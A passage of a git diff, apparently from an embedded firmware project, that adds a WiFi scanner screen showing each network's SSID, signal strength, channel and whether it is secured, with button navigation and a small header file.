(networkCount == 0) return; + + WiFiNet &net = networks[selectedIndex]; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, net.ssid.c_str()); + + char rssi[20]; + sprintf(rssi, "RSSI: %d", net.rssi); + u8g2.drawStr(0, 20, rssi); + + char ch[20]; + sprintf(ch, "CH: %d", net.channel); + u8g2.drawStr(0, 30, ch); + + u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); + + u8g2.sendBuffer(); +} + +// ===== LOOP ===== +void wifi_scan_loop() +{ + static uint32_t lastPress = 0; + + if (millis() - lastPress < 150) + return; + + if (btnDown() && selectedIndex < networkCount - 1) + { + selectedIndex++; + wifi_scan_draw(); + lastPress = millis(); + } + else if (btnUp() && selectedIndex > 0) + { + selectedIndex--; + wifi_scan_draw(); + lastPress = millis(); + } + else if (btnSelect() && networkCount > 0) + { + wifi_drawDetails(); + delay(3000); + wifi_scan_draw(); + lastPress = millis(); + } +// else if (btnBack()) +// { +// wifi_scan_start(); +// wifi_scan_draw(); +// lastPress = millis(); +// } +} diff --git a/src/wifi/wifi_scan.h b/src/wifi/wifi_scan.h new file mode 100644 index 0000000..902054e --- /dev/null +++ b/src/wifi/wifi_scan.h @@ -0,0 +1,5 @@ +#pragma once + +void wifi_scan_start(); +void wifi_scan_loop(); +void wifi_scan_draw(); |